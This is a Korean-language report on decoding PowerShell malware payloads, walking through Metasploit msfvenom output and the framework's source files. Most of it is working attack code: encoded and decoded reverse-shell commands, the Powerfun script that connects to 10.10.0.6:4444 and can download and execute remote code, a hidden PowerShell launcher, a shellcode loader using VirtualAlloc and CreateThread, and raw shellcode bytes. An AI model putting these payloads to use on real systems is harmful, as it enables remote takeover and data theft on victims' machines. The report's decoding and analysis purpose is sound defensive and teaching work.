몇 년 전부터 파워쉘을 이용한 악성코드가 증가하고 있다. 대표적인 파워쉘 악성코드는 PowerWorm, PoshCoder, Poweliks 등이다.


해당 악성코드는 윈도우 운영체제에 기본적으로 활성화 되어 있는 파워쉘의 기능을 악용해 사용자의 시스템에 피해를 주는 악성코드이다.


작년 발견된 DDE 취약점을 이용한 공격 코드를 보면 파워쉘이 적용되어 있다. 본 보고서는 파워쉘의 모든 기능을 다루지 않고, 파워쉘이 적용된 코드를 디코딩하는 방법을 살펴본다.

 

powershell_reverse_tcp

msfvenom 명령어로 base64 인코딩한 powershell_reverse_tcp 페이로드이다. 페이로드를 보면 base64 인코딩 되어 있는 코드를 GzipStream()으로 압축하고 있다.


○ msfvenom -p cmd/windows/powershell_reverse_tcp -e cmd/powershell_base64


powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIACA8kVoCA51WbW/iRhD+zq8YUfewFbwiUdsPkXIq5+TaSOkdOtPmA0LKYg/Bjdmlu+sASvjvnbXX2IRE19RCAu/OPvPMMy/LDzCSa1TzQkAItyozBgXMtvCJvsaFEqjgA1zyR4TfuUq3nQ5ZJiaTAn5DE97iLMkzFAY6Tx2gx1sncAFfcB1+nf2NiYFwvF3hF75EWjSM7KPSvjZmf2q8xDkvchMpTGkn47kmCM+oAvdWIyU3W/bCgtZbK7VtZ9dQXNWhdZ6g3B9xxZd+9XsSG5WJ+6kXyeWSi7R/uBrrPJHixeKlXItc8rRcDRymkglqDU6ApUyLHC3BX/0AKpNsDn7tBkL8B7qzTKTdoNyszpVn80yT/CT5Bbnc0u8ls6rFMnlAo9k4Wd04i+lP9BwfZNpwZaxf57ncdSm6aNkNkwRXhgCrdPgVld1bdBU+otJ4zHgP3Ur5a8yjkXPUPR0w+gzYL92+jcE57lTiaaOQLy3TCphRkcXlGjFsuFW5qajZOum6VLSIaZ3HNdgb3DApqN63LK5Nfee/782poLDvP3ljQt9ByDVMDs58w6U0GKEy2TxLuMG/eJ6l3FZdxPN8xpOHaRC8QocNC7OwJWsPDfWxKkErcY0cTThtvSazrcHJdOrZb1tyA8bOBvQ8//g02DlJUaT1tj8xuDEMRSJTW8/n58M4ur4OrMyfrI3fvaXClGtdTYV4gXkOqhCCrIFEKDQVZxdOwEPxeG7fhG3tE1qjfOw3ErlcFabZvBORXG1Vdr8w4EcBnA1Of4Y/skRJLecGIqlWUpXiMRhaj9ZSg0Jy8IgpuxN3wtWe04TZUYV+E11/0G9e2A2Ke7Nol0zdue2iOaqZ90k1OZnCDUFabVzXsz3P93OtT32W6oonC+JcgUIm9lOlsWpo28c/GMYBq6Ot5laNFDxfi0f5gOHVZkXaatJ7j7I77MN3KdEbxdCjPJcsbmRSZjJgI24WtNr72PvfqVsvshx938vKHqiOf0Oe+lXF92HQB+/gXAChQBgc5fbK0sd0TKG8dUG52WBNWBnilQu5QaEO55ZKC82NqFLmOhzwsuBFWdFAsFoeJQDCetBW4GcfP5zCM3wtTFihgpPiAOoMSkFqYBL5OymAXgOysUQ8VEqqyWB64KzFutxnSY5c+cFrDC7aL9T4m85xJ/2n8mlgvts67VI5apz6zOe80Iv93evGoLtPolxqdPE0t2Fs5Kq+Aun/Q2f/v2GfHHcBQuiuHjtA/gVS0dYGOwkAAA=='))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

FromBase64String() 함수에 존재하는 코드를 Base64 디코딩을 하면 텍스트 형태의 문자열이 출력되지 않는다. 이는 GzipStream()으로 압축되어 있어 16진수로 표기되는데, "1F 8B 08"은 GZIP 형식의 시그니처이다.


Base64 디코딩


"Download as a binary file" 버튼을 클릭해 바이너리 형식으로 파일을 저장한다. 이후 파일의 확장자를 zip으로 변경하여 압축을 해제하면 원본 코드를 확인할 수 있다.


# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}

function powerfun
{
    Param(
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    )

    Process {
    $modules = @() 
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]4444
        $listener.start()   
        $client = $listener.AcceptTcpClient()
    }

    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("10.10.0.6",4444)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true")
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("10.10.0.6")
        $stream = $sslStream
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush() 
    }

    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

인코딩 되어 있는 코드를 디코딩하려면 Base64 디코딩을 하고, gzip 압축을 해재 해야 한다.

 

이 모든 것을 한번에 해결해주는 온라인 디코딩 사이트가 존재한다.


gzip 온라인 디코딩


msfvenom 명령어로 cmd/windows/powershell_reverse_tcp 페이로드를 선택하면 powershell_reverse_tcp.rb가 실행된다.


해당 스크립트의 generate 함수는 Reverse 매개변수를 generate_powershell_code() 함수로 전달해 호출하는 역할을 한다.


○ metasploit-framework-master\modules\payloads\singles\cmd\windows\powershell_reverse_tcp.rb


def generate
    generate_powershell_code("Reverse")
end

generate_powershell_code()가 정의된 파일은 powershell.rb이다. 해당 함수는 powerfun.ps1 파일을 로드하여 Base64 인코딩 및 gzip 압축을 진행하는 함수를 호출한다.


○ metasploit-framework-master\lib\msf\core\payload\windows\powershell.rb

○ metasploit-framework-master\data\exploits\powershell\powerfun.ps1

○ metasploit-framework-master\lib\msf\core\exploit\powershell.rb


# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows'
module Msf

###
#
# Implements an overarching powershell payload generation module
#
###

module Payload::Windows::Powershell
  def generate_powershell_code(conntype)
    lport = datastore['LPORT']
    lhost = datastore['LHOST']

    template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
    script_​in = ""
    ::File.open(template_path, "rb") do |fd|
      script_in << fd.read(fd.stat.size)
    end
    mods = ''

    if conntype == "Bind"
      script_in << "\npowerfun -Command bind"
    elsif conntype == "Reverse"
      script_in << "\npowerfun -Command reverse -Sslcon true"
    end

   ~~~~~~~~~~~~~~~

    script = Rex::Powershell::Command.compress_script(script_in)
    command_args = { 
        noprofile: true,
        windowstyle: 'hidden',
        noninteractive: true,
        executionpolicy: 'bypass'
    }
    cli =  Rex::Powershell::Command.generate_psh_command_line(command_args)
    return "#{cli} \"#{script}\""

meterpreter_reverse_tcp

메타스플로잇 프레임워크에서 페이로드를 지정하지 않으면 자동으로 windows/meterpreter/reverse_tcp 페이로드가 선택된다. 해당 페이로드는 자동으로 x86/shikata_ga_nai 인코딩을 한다.


파워쉘 세션에서 실행될 수 있도록 포맷을 psh-cmd로 지정하고, 인코딩을 powershell_base64로 지정하여 페이로드를 생성한다. 파워쉘의 –e 옵션 다음에 나오는 코드는 단순히 base64 인코딩되어 있는 코드이다.


○ msfvenom -p windows/meterpreter/reverse_tcp -e cmd/powershell_base64 --format psh-cmd


%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEA
IAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACc
AXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAG
UAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzA
HMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAg
AC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgB
qAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbw
BuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAb
wBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEASQBGAEoAawBWAG8AQwBBADcAVgBXAGIA
VwArAGIAUwBCAEQAKwBuAEUAcgA5AEQANgBpAHkAQgBLAGkATwBzAFIATwAzAGEAUwBOAFYAdQBzAFcAWQAyAEkAbABKADcAQgBEAGoAdAAxAHEAbgBEAFM
AeQB3ADgAYwBJADYAcwBQAGkAdAAxAC8AOQArAGcAdwAxAHQAcQBqAFIAMwA3AFUAbQBIAGIATABHADcATQA3AE0ANwA4ADgAdwB6AHMALwBoAFoANwBBAH
IASwBZADIAbAAxAG0AdQB3AHMANgBjAHYAcgBWADAAZAA5AG4ATwBCAEkAVQBpAHEARQBqADYAcABTAFoAYgBkAFQAagA0ADUAZwB0AFIASwBOAHAAOQBJA
G4AUwBaAG0AaAA1AGQATABnAEUAYQBiAHgALwBQAHkAOABsAFMAVQBKAGkAYwBWAGgAWAByAHMAZwBBAHEAVQBwAGkAZQA0AFoASgBhAG0AaQBTAG4AOQBK
AG8ANQBBAGsANQBQAGoAbQAvAG8ARwA0AFEAdgBvAGkAVgBmADYAcwBYAFQAQgArAGoAMQBtAGgAdABtADEAaABOAHkAVABTAE0AWQBxADkAWABOAGIAagB
MAHMANQA5AHEAZABsAEwAUgBvAFUAaQBmAC8ANABzAHEANwBQAGoAeAByAHoAVwBmAHMAdwB3AFMAeABYAFoAMwBxAGEAQwBSAEQAVwBQAE0AVgBtAFYAdg
BxAHIANQBnAFgAZgBiAEoAVgBGAGsAaQA3AG8ASgBUADcAawB2AGEAaQBNAGEAbgA1ADcAVQBoAG4ARwBLAGYAWABJAE4AdQA2ADIASQBSAFUAVABJAHYAV
gBSAFcASQBRAGoANABKAFUAUgBrAFMAUwB6AGwANABlAFQAMgBCADYAawBpAHcANwBDAGYAYwBCAGQANQBYAGsASgBTAFUASwA1ADEANAB4AFYAZgBFAEsA
VQBTAFoANAB4AFYAcABUACsAVQBXAFgASAA0AGIAUgBZAEwARwBoAEcAUQBDADUATAB3AHAAVQAyAFMARgBYAFYASgBXAHUAdgBnADIARwBQAGsAbAB2AGg
AegA1AFoAcQBzAHkANQBoAC8AMQBVAGgANQBhAGcAUgBhAGYAWgBHAG8AVgBjAGoAQgBjAHkAOAB0ADcAbQBXAE0ASABBAHgAbAA5AGIAbQBmAGUAZABwAF
UAZQBBADYAcABnADYAQwAvAHYAbgA3ADEAKwBwAFYAZgBwAHYAbAArADcAWQBSAG4AVAA5AE0ATQBvADYAUABaAGYAawB6AEEATgA2AFgAUABVADcAcABYA
C8AQwBUAFYAcQA1AEkARgB4ADIARABCAGsAeQAxAE0ASwAzAGQASgBSAHQAUwA1AE4ATQBzAGgAbgA4ADMAbgBVAGkAVgBoAGoAWgBXAG8AdgByAHgAQgBv
ADkAUQBHADMAVQBVAFEAWABIADYAQQB0AFoAbgBEAHEAVABjAEgAbQB5AEkAZABsAGMAZwBkAEkAeQBzAFgAdgBNAHcAcgBnAC8AZwAwAEoAcwBZADIAeAB
oAEYAMQBTACsAbwBvAFAANABPAFoAKwBJAHoAcwA0ADYAeQBWAGEAdABmAGcAbABpAEkAWABBAHUASQBaAGgASgBFAEEAaQB4AHkANQBxAGoAUgA3AGIAdA
BhAE8AcQBQAGgAbQBxADIAZQBVAGUAUwBSAEIATABxAFEAcQBCAGEAOABnAGkAKwBxAFAAegBoAHkAUwBvAGMAagBkADIAQwBJAFIAdwBIAFMAWQB5ADQAQ
wA5AEQANABRAGwAcABYAFoAQgAwAG0AMQA1AGUAagA0AEgASgBiAG4ARgBjAEoAcABXAHAAWAA0AEcARgBlAE4AVwBKAFoAdABnAFIAcgB5AHEAaABPAEsA
VQBGAGkASwBVAEMAYgA0AGYAeQB0AC8AZAB0AFQASQBtAHEASQB0AFQAVQBXADQAMwBWADcAOABCAFcAUgB6AFkANABuAEUAcQBrAHMAeQBGADEARQBIAHc
AZAAvAGEAUwB1AEIAUwB6AEgASQB1AHEAMQBLAEUAZQAwAGIAYwAyAEQAYwBxAEQANQBaADgAaQAwAGMASwBNADAAVABpAEEAbgBWAGEAUQBDAFYAagBKAE
UAYgBCAEYAVABvAGcARQBmAEQAdwBrAFgANgAzAFoAUgBIAFMAagBKAFMATQBSAEsATwAyAEwAMQAyAFEANABnAEYASQB0AEcATAArAG4ARQBBADYASQBKA
HoALwB6AHMAZQBUADAAZwBjAEEANQBIAEMAVQBPAFQAegB5AEUASABOAHUATQBpADYAcgBrADAARQBSAEEARQA4AGkAaAAzAFYAUABwAFAAMwByAHcAdABB
AEgAcwBmAFcAawBsAHAARQBpAEkAVQB0AGIASwBUAE4AKwBLAG4ATwBDAFYAbABiAGYASgBpAFYAbABnAHMAMABjAGkARQBZAEMAQwBtAGYAQgBJAHgAeQB
sADUAMwA3AFIARgBBAGgAZwBwAGIANwBRAGIAMgBrAEwAdwBUAEwAbwB4AHMAMQB4ADkAUQBSAHQAbwBUAFIAdABkAEMALwA1AEQAZQB0AHIAbAB4AHAAbA
AzAGQAZgBuAFEAMABSAEoAagBFAC8AcQBvAG0AMwBhAHQAVAB0ADgAWQBkAEQAcgBOADEAYQBYAHQATgBJAFgAZAA3AG8AcQByAGYAbABkAFkANwBmAEgAR
ABnADQAMAA2AHQAOABPAEoAbQBIAFoAUgA1ADQANwBXAEYANQBQAG0AYgBuAGwASgBkADMAWQBQAGUAWgBPAE4AOQBuADYAbgA3ADkAWgAxAGYAYgBOADcA
QwBEAHgALwBZAHYAaAArAGMATwBiAGIAdAA0ADEAMwBKAHUAMgBOAFcAZwBPADkAZgBvAEoANwBSAGoAdgByAGoAZgBTADEAWABtACsAbQBiAGIAcgB1AEQ
ATwBoAHcAcwBMAGcAMAB4AGYAMwBFAFkAWABqAG8AYQA4AEcANAA4AFIASABUAFQAUwA5ADUAYwBCAHIAYwAyAG4AVQBSAHUAZwBoAFAAMwBkADIAbAA3AD
EAeQBFAGwAcgBlAGQAZABMAFMAUABvACsAWQBDAHQAUgBGAHEAeABXADMASAAxAFAAbgBWAFIARQA5AFEAWAAzAE4AdwBzAE8AUwB0AGcAQwBNADkAQwBsA
HAASQBOADEAMQBLAHAAbwBPAGgAcQBRADgARwBwAG8ANgBHAEYAdwArAFAAeABrAGMAdABBAE4AcwB4AEQAdgBXAFIAYwAwAEsAbgB5AC8ARgB0AEMASABN
AFQAWABMAGoAUwA2AHMAMgB1AFIAMwBaADgATQBnAEMAUQBMAGoAagBDAHcAUwAzAG8AQgBLADAAVABOAC8AUgBCAHgAMwBpAEwAOQBMAGYAWABQAEQAMwB
CAEMAeAAwAE8AQQBCADEAegArAGcAaAArAFQAWgBaAG0AbgA0AEgAOABiAG4AagBDAGsAYwBPAHUAeAB4AGoAMQBwAGwAdABUADAAeABxAFQAZgBoAE4AMQ
A2AG4AUgAwAEUAYQBCADgAUwB4AHoAbwBBADQAegBTAGwAYgBFAHoAdABJAGIAagBjAFcALwAwADcAbgByAGkAYQA4ADYAWQBuAFcAbABHADYAMgA3AHAAK
wBwAHEAbQByAFQAdgBHAGwAVAB0AHQAYgBEADcAYwBuAEgAMwBvAGoAYQBnAFQAYwBUAFQAVQBOAE8AZABOAHoAZwBzAGcAUgBtAFYAdABtAE8ARwBUAGYA
TAAvAFUAcwB5ADIAYwBwAEMARgBtAHcAQQBQAG8AeABtAFUASgBtAGoAdwB4AGkAeABiAGIANQB6AFMAMwBVAEoAVABEAGoAYgBvAGcAUwBVAHcAWQAzAEU
AbAB3AGEANQBVAHMAUgBvAHgAeABOACsALwB2AGgAMgA0AE0AbAA4AHUAaAA1AGMAKwBoAEUAbwBjAHcAUABEADMANQA2AFUAaQBWAHYAaQBtAHEAMwB6AH
QALwB1AFgAUgArAFAAZwBVAC8AbwBTADYAQQB0AHIAVQBlAGkAUQBNAFIAVgB1AHUAYgAwADMAbwBkACsAbgBoADkAMAA2AHgARABtAEwAOABlAFcAbwBzA
HYAdAAwAHEAKwBVAHoAVwAvAEIAdgBiAFEARgBEAHUAegAvAGMANQBxAFgAaQBpAFYAYwBQAFYAKwBTAFAANQBuAHkASQBvAEMARABlAEgAbAAvAFMAdABr
ADMAOQBmACsAUQBmAHAATABNAE4AYQByAGgANgBDAGYATABmACsANAA4AEYAdQBnAC8AbgA3AHcASQAwAHcARgBxAE4AcgBRAFoAQgBnADUAMwBIAFUAdgB
ZAEYAQQB3ADUATQBrAEgAdwBUADQANQB3AEEAQwAvAGUAUABMAHYAcwBaAHQATQBIAEYALwBEAGgAOABMAGYAMABOADEAZQA1AFAAWQBKAEEAQQBBAD0AJw
AnACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac
AByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYA
YQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8
AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAF
MAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA==

인코딩 되어 있는 코드를 디코딩하면 base64 인코딩 되어 있는 코드와 GzipStream() 함수가 보인다.


if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIFJkVoCA7VWbW+bSBD+nEr9D6iyBKiOsRO3aSNVusWY2IlJ7BDjt1qnDSyw8cI6sPit1/9+gw1tqjR37UmHbLG7M7M788wzs/hZ7ArKY2l1muws6cvrV0d9nOBIUiqEj6pSZbdTj45gtRKNp9InSZmh5dLgEabx/Py8lSUJicVhXrsgAqUpie4ZJamiSn9Jo5Ak5Pjm/oG4QvoiVf6sXTB+j1mhtm1hNyTSMYq9XNbjLs59qdlLRoUif/4sq7PjxrzWfswwSxXZ3qaCRDWPMVmVvqr5gXfbJVFki7oJT7kvaiMan57UhnGKfXINu62IRUTIvVRWIQj4JURkSSzl4eT2B6kiw7CfcBd5XkJSUK514xVfEKUSZ4xVpT+UWXH4bRYLGhGQC5LwpU2SFXVJWuvg2GPklvhz5Zqsy5h/1Uh5agRafZGoVcjBcy8t7mWMHAxl9bmfedpUeA6pg6C/vn71+pVfpvl+7YRnT9MMo6PZfkzAN6XPU7pX/CTVq5IFx2DBky1MK3dJRtS5NMshn83nUiVhjZWovrxBo9QG3UUQXH6AtZnDqTcHmyIdlcgdIysXvMwrg/g0JsY2xhF1S+ooP4OZ+Izs46yVatfgliIXAuIZhJEAixy5qjR7btaOqPhmq2eUeSRBLqQqBa8gi+qPzhySocjd2CIRwHSYy4C9D4QlpXZB0m15ej4HJbnFcJpWpX4GFeNWJZtgRryqhOKUFiKUCb4fyt/dtTImqItTUW43V78BWRzY4nEqksyF1EHwd/aSuBSzHIuq1KEe0bc2DcqD5Z8i0cKM0TiAnVaQCVjJEbBFTogEfDwkX63ZRHSjJSMRKO2L12Q4gFItGL+nEA6IJz/zseT0gcA5HCUOTzyEHNuMi6rk0ERAE8ih3VPpP3rwtAHsfWklpEiIUtbKTN+KnOCVlbfJiVlgs0ciEYCCmfBIxyl537RFAhgpb7Qb2kLwTLoxs1x9QRtoTRtdC/5Detrlxpl3dfnQ0RJjE/qom3atTt8YdDrN1aXtNIXd7oqrfldY7fHDg406t8OJmHZR547WF5PmbnlJd3YPeZON9n6n79Z1fbN7CDx/Yvh+cObbt413Ju2NWgO9foJ7RjvrjfS1Xm+mbbruDOhwsLg0xf3EYXjoa8G48RHTTS95cBrc2nURughP3d2l71yElreddLSPo+YCtRFqxW3H1PnVRE9QX3NwsOStgCM9ClpIN11KpoOhqQ8Gpo6GFw+PxkctANsxDvWRc0Kny/FtCHMTXLjS6s2uR3Z8MgCQLjjCwS3oBK0TN/RBx3iL9LfXPD3BCx0OAB1z+gh+TZZmn4H8bnjCkcOuxxj1pltT0xqTfhN16nR0EaB8SxzoA4zSlbEztIbjcW/07nria86YnWlG627p+pqmrTvGlTttbD7cnH3ojagTcTTUNOdNzgsgRmVtmOGTfL/Usy2cpCFmwAPoxmUJmjwxixbb5zS3UJTDjbogSUwY3Elwa5UsRoxxN+/vh24Ml8uh5c+hEocwPD356UiVvimq3zt/uXR+PgU/oS6AtrUeiQMRVuub03od+nh906xDmL8eWosvt0q+UzW/BvbQFDuz/c5qXiiVcPV+SP5nyIoCDeHl/Stk39f+QfpLMNarh6CfLf+48Fug/n7wI0wFqNrQZBg53HUvYFAw5MkHwT45wAC/ePLvsZtMHF/Dh8Lf0N1e5PYJAAA=''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);

FromBase64String() 함수에 존재하는 코드를 base64 디코딩하여 바이너리 형식으로 파일을 저장한다. 이후 파일의 확장자를 zip으로 변경하여 압축을 해제하면 원본 코드를 확인할 수 있다.


해당 코드를 간략하게 살펴보면 메모리 공간을 동적으로 할당하고, FromBase64String() 함수에 존재하는 코드를 실행하는 역할을 한다. 결론부터 말하자면 인코딩 되어 있는 코드는 실질적으로 공격을 수행하는 로우 데이터이다.


function v3rzM {
         Param ($eoW, $zz)               
         $mXZ = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

         return $mXZ.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object   System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($mXZ.GetMethod('GetModuleHandle')).Invoke($null, @($eoW)))), $zz))
}

function bwVh7 {
         Param (
                 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $rl1vt,
                 [Parameter(Position = 1)] [Type] $kggJ8 = [Void]
         )

         $mcXAM = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

         $mcXAM.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $rl1vt).SetImplementationFlags('Runtime, Managed')

         $mcXAM.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $kggJ8, $rl1vt).SetImplementationFlags('Runtime, Managed')

         return $mcXAM.CreateType()
}

[Byte[]]$vdx = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagpoCgoABmgCABFcieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O78LWiVmoAU//V")

$wDFh = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((v3rzM kernel32.dll VirtualAlloc), (bwVh7 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $vdx.Length,0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($vdx, 0, $wDFh, $vdx.length)

$hv6Ue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((v3rzM kernel32.dll CreateThread), (bwVh7 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$wDFh,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((v3rzM kernel32.dll WaitForSingleObject), (bwVh7 @([IntPtr], [Int32]))).Invoke($hv6Ue,0xffffffff) | Out-Null

msfvenom 명령어로 출력 포맷을 지정하지 않고 daze_raw 파일로 저장하면 로우 데이터가 생성된다. 실제로 파일을 확인해보면 글자가 깨져 보인다. 해당 파일을 base64 인코딩하면 원본 코드에 존재하는 코드와 동일하다.


로우 데이터 디코딩


로우 데이터의 헥사 값을 확인해보면 \xfc\xe8 문자열을 확인할 수 있다. 해당 문자열은 메타스플로잇에서 사용하는 페이로드를 의미한다.


로우 데이터의 헥사 값


shell_reverse_tcp.rb 파일을 보면 로우 데이터가 정의되어 있다. msfvenom 명령어로 페이로드를 로우 데이터 형식으로 저장할 때 해당 파일을 실행 한다.


○ metasploit-framework-master\modules\payloads\singles\windows\shell_reverse_tcp.rb


'Payload'       =>
        {
          'Offsets' =>
            {
              'LPORT'    => [ 197, 'n'    ],
              'LHOST'    => [ 190, 'ADDR' ],
              'EXITFUNC' => [ 294, 'V'    ],
            },
          'Payload' =>
            "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
            "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
            "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
            "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
            "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
            "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
            "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
            "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
            "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
